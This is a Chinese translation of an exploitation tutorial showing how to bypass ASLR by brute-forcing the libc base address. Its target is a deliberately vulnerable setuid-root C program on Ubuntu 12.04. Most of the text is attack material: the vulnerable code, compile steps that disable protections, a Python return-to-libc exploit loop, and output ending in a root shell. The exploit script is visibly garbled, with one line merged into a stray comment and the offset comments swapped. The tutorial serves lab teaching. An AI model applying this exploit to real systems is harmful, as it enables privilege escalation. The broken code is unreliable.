绕过 ASLR — 第二部分

译者:飞龙

原文:Bypassing ASLR – Part II

预备条件:

经典的基于栈的溢出

VM 配置:Ubuntu 12.04 (x86)

这篇文章中,让我们看看如何使用爆破技巧,来绕过共享库地址随机化。

什么是爆破?

在这个技巧中,攻击者选择特定的 Libc 基址,并持续攻击程序直到成功。假设你足够幸运,这个技巧是用于绕过 ASLR 的最简单的技巧。

漏洞代码:

  1. //vuln.c
  2. #include <stdio.h>
  3. #include <string.h>
  4. int main(int argc, char* argv[]) {
  5. char buf[256];
  6. strcpy(buf,argv[1]);
  7. printf("%s\n",buf);
  8. fflush(stdout);
  9. return 0;
  10. }

编译命令:

  1. #echo 2 > /proc/sys/kernel/randomize_va_space
  2. $gcc -fno-stack-protector -g -o vuln vuln.c
  3. $sudo chown root vuln
  4. $sudo chgrp root vuln
  5. $sudo chmod +s vuln

让我们来看看,攻击者如何爆破 Libc 基址。下面是(当随机化打开时)不同的 Libc 基址:

  1. $ ldd ./vuln | grep libc
  2. libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75b6000)
  3. $ ldd ./vuln | grep libc
  4. libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7568000)
  5. $ ldd ./vuln | grep libc
  6. libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7595000)
  7. $ ldd ./vuln | grep libc
  8. libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d9000)
  9. $ ldd ./vuln | grep libc
  10. libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7542000)
  11. $ ldd ./vuln | grep libc
  12. libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb756a000)
  13. $

上面展示了,Libc 随机化仅限于 8 位。因此我们可以在最多 256 次尝试内,得到 root shell。在下面的利用代码中,让我们选择0xb7595000作为 Libc 基址,并让我们尝试几次。

利用代码:

  1. #exp.py
  2. #!/usr/bin/env python
  3. import struct
  4. from subprocess import call
  5. libc_base_addr = 0xb7595000
  6. exit_off = 0x00032be0 #Obtained from "readelf -s libc.so.6 | grep system" command.
  7. system_off = 0x0003f060 #Obtained from "readelf -s libc.so.6 | grep exit" command.
  8. system_addr = libc_base_addr + system_off
  9. exit_addr = libc_base_addr + exit_off
  10. system_arg = 0x804827d
  11. #endianess convertion
  12. def conv(num):
  13. return struct.pack("<I",numystem + exit + system_arg
  14. buf = "A" * 268
  15. buf += conv(system_addr)
  16. buf += conv(exit_addr)
  17. buf += conv(system_arg)
  18. print "Calling vulnerable program"
  19. #Multiple tries until we get lucky
  20. i = 0
  21. while (i < 256):
  22. print "Number of tries: %d" %i
  23. i += 1
  24. ret = call(["./vuln", buf])
  25. if (not ret):
  26. break
  27. else:
  28. print "Exploit failed"

运行上面的利用代码,我们会得到 root shell(在下面展示):

  1. $ python exp.py
  2. Calling vulnerable program
  3. Number of tries: 0
  4. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]??{\?}?
  5. Exploit failed
  6. ...
  7. Number of tries: 42
  8. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]??{\?}?
  9. Exploit failed
  10. Number of tries: 43
  11. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]??{\?}?
  12. # id
  13. uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
  14. # exit
  15. $

注意:也可以爆破类似的栈和堆段的地址。